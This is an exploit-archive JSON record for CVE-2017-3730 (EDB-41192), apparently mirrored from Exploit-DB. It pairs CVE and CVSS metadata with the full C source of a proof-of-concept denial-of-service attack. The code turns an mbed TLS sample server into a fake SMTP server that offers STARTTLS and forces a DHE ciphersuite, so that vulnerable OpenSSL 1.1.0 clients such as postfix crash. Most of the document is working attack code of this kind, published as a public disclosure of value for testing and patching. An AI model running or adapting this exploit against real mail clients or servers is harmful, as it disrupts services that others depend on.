{"exploit":{"id":"EDB-41192","name":"OpenSSL 1.1.0 - Remote Client Denial of Service (DoS)","description":"OpenSSL 1.1.0 - Remote Client Denial of Service (DoS)","cves":["CVE-2017-3730"],"author":"Guido Vranken","published":"2017-01-26","platform":"multiple","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41192","path":"exploits/multiple/dos/41192.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41192.c","vulnerabilities":[{"id":"CVE-2017-3730","state":"PUBLISHED","title":"Bad (EC)DHE parameters cause a client crash","titleSource":"CVE Program","description":"In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this can result in the client attempting to dereference a NULL pointer leading to a client crash. This could be exploited in a Denial of Service attack.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-3730","cvss":{"version":"3.0","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-3730"},"updatedAt":"2024-09-16T17:48:53.722Z","retrievedAt":"2026-11-26T20:09:14.235Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41192.png?v=2","url":"https://exploitbin.com/exploits/EDB-41192","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41192/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41192/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// Source: https://guidovranken.wordpress.com/2017/01/26/cve-2017-3730-openssl-1-1-0-remote-client-denial-of-service-affects-servers-as-well-poc/\n\n/*\n *  SSL server demonstration program\n *\n *  Copyright (C) 2006-2015, ARM Limited, All Rights Reserved\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https://tls.mbed.org)\n */\n\n/* Taken from mbed TLS programs/ssl/ssl_server.c and modified to crash postfix.\n * Belongs to https://github.com/guidovranken/CVE-2017-3730\n*/\n#include <stdlib.h>\n#include <string.h>\n\n#include \"mbedtls/entropy.h\"\n#include \"mbedtls/ctr_drbg.h\"\n#include \"mbedtls/certs.h\"\n#include \"mbedtls/x509.h\"\n#include \"mbedtls/ssl.h\"\n#include \"mbedtls/net_sockets.h\"\n#include \"mbedtls/error.h\"\n#include \"mbedtls/debug.h\"\n\nstatic int write_and_get_response( mbedtls_net_context *sock_fd, char *buf, size_t len )\n{\n    int ret;\n\n    if ( (ret = mbedtls_net_send( sock_fd, (unsigned char*)buf, strlen(buf) )) <= 0 )\n    {\n        return -1;\n    }\n\n    memset( buf, 0, len );\n    ret = mbedtls_net_recv( sock_fd, (unsigned char*)buf, len );\n    return ret;\n}\n\nint main( void )\n{\n    int ret;\n    mbedtls_net_context listen_fd, client_fd;\n    char buf[1024];\n    const char *pers = \"ssl_server\";\n\n    int force_ciphersuite[2];\n    mbedtls_entropy_context entropy;\n    mbedtls_ctr_drbg_context ctr_drbg;\n    mbedtls_ssl_context ssl;\n    mbedtls_ssl_config conf;\n    mbedtls_x509_crt srvcert;\n    mbedtls_pk_context pkey;\n\n    mbedtls_net_init( &listen_fd );\n    mbedtls_net_init( &client_fd );\n    mbedtls_ssl_init( &ssl );\n    mbedtls_ssl_config_init( &conf );\n    mbedtls_x509_crt_init( &srvcert );\n    mbedtls_pk_init( &pkey );\n    mbedtls_entropy_init( &entropy );\n    mbedtls_ctr_drbg_init( &ctr_drbg );\n\n    ret = mbedtls_x509_crt_parse( &srvcert, (const unsigned char *) mbedtls_test_srv_crt,\n                          mbedtls_test_srv_crt_len );\n    if( ret != 0 )\n    {\n        goto exit;\n    }\n\n    ret = mbedtls_x509_crt_parse( &srvcert, (const unsigned char *) mbedtls_test_cas_pem,\n                          mbedtls_test_cas_pem_len );\n    if( ret != 0 )\n    {\n        goto exit;\n    }\n\n    ret =  mbedtls_pk_parse_key( &pkey, (const unsigned char *) mbedtls_test_srv_key,\n                         mbedtls_test_srv_key_len, NULL, 0 );\n    if( ret != 0 )\n    {\n        goto exit;\n    }\n\n    if( ( ret = mbedtls_net_bind( &listen_fd, NULL, \"8888\", MBEDTLS_NET_PROTO_TCP ) ) != 0 )\n    {\n        goto exit;\n    }\n\n    if( ( ret = mbedtls_ctr_drbg_seed( &ctr_drbg, mbedtls_entropy_func, &entropy,\n                               (const unsigned char *) pers,\n                               strlen( pers ) ) ) != 0 )\n    {\n        goto exit;\n    }\n\n    if( ( ret = mbedtls_ssl_config_defaults( &conf,\n                    MBEDTLS_SSL_IS_SERVER,\n                    MBEDTLS_SSL_TRANSPORT_STREAM,\n                    MBEDTLS_SSL_PRESET_DEFAULT ) ) != 0 )\n    {\n        goto exit;\n    }\n\n    mbedtls_ssl_conf_rng( &conf, mbedtls_ctr_drbg_random, &ctr_drbg );\n\n\n    mbedtls_ssl_conf_ca_chain( &conf, srvcert.next, NULL );\n    if( ( ret = mbedtls_ssl_conf_own_cert( &conf, &srvcert, &pkey ) ) != 0 )\n    {\n        goto exit;\n    }\n\n    force_ciphersuite[0] = mbedtls_ssl_get_ciphersuite_id( \"TLS-DHE-RSA-WITH-AES-256-GCM-SHA384\" );\n    force_ciphersuite[1] = 0;\n    mbedtls_ssl_conf_ciphersuites( &conf, force_ciphersuite );\n\n    if( ( ret = mbedtls_ssl_setup( &ssl, &conf ) ) != 0 )\n    {\n        goto exit;\n    }\n\nreset:\n\n    mbedtls_net_free( &client_fd );\n\n    mbedtls_ssl_session_reset( &ssl );\n\n    if( ( ret = mbedtls_net_accept( &listen_fd, &client_fd,\n                                    NULL, 0, NULL ) ) != 0 )\n    {\n        goto exit;\n    }\n\n    sprintf(buf, \"220 ok\\n\");\n    ret = write_and_get_response( &client_fd, buf, sizeof(buf));\n\n    if ( ret < 5 ) {\n        goto exit;\n    }\n\n    if ( strncmp(buf, \"EHLO \", 5) != 0 ) {\n        goto exit;\n    }\n\n    sprintf(buf, \"250-SIZE 157286400\\n250-8BITMIME\\n250-STARTTLS\\n250-ENHANCEDSTATUSCODES\\n250-PIPELINING\\n250-CHUNKING\\n250 SMTPUTF8\\n\");\n    ret = write_and_get_response( &client_fd, buf, sizeof(buf));\n\n    if ( ret < 8 ) {\n        goto exit;\n    }\n\n    if ( strncmp(buf, \"STARTTLS\", 8) != 0 ) {\n        goto exit;\n    }\n    sprintf(buf, \"220 ok\\n\");\n    ret = mbedtls_net_send( &client_fd, (unsigned char*)buf, strlen(buf) );\n    if ( ret < 0 ) {\n        goto exit;\n    }\n\n    mbedtls_ssl_set_bio( &ssl, &client_fd, mbedtls_net_send, mbedtls_net_recv, NULL );\n\n\n    while( ( ret = mbedtls_ssl_handshake( &ssl ) ) != 0 )\n    {\n        if( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE )\n        {\n            goto reset;\n        }\n    }\n\n    while( ( ret = mbedtls_ssl_close_notify( &ssl ) ) < 0 )\n    {\n        if( ret != MBEDTLS_ERR_SSL_WANT_READ &&\n            ret != MBEDTLS_ERR_SSL_WANT_WRITE )\n        {\n            goto reset;\n        }\n    }\n\n\n    ret = 0;\n    goto reset;\n\nexit:\n\n    mbedtls_net_free( &client_fd );\n    mbedtls_net_free( &listen_fd );\n\n    mbedtls_x509_crt_free( &srvcert );\n    mbedtls_pk_free( &pkey );\n    mbedtls_ssl_free( &ssl );\n    mbedtls_ssl_config_free( &conf );\n    mbedtls_ctr_drbg_free( &ctr_drbg );\n    mbedtls_entropy_free( &entropy );\n\n    return( ret );\n}","sha256":"669603f004d31bd6900d5474c5dfd0aea392427109419bc942e5f7ef41200f66","bytes":5792,"fetchedAt":"2026-11-26T20:09:10.991Z","encoding":"utf-8 (display only; download retains original bytes)"}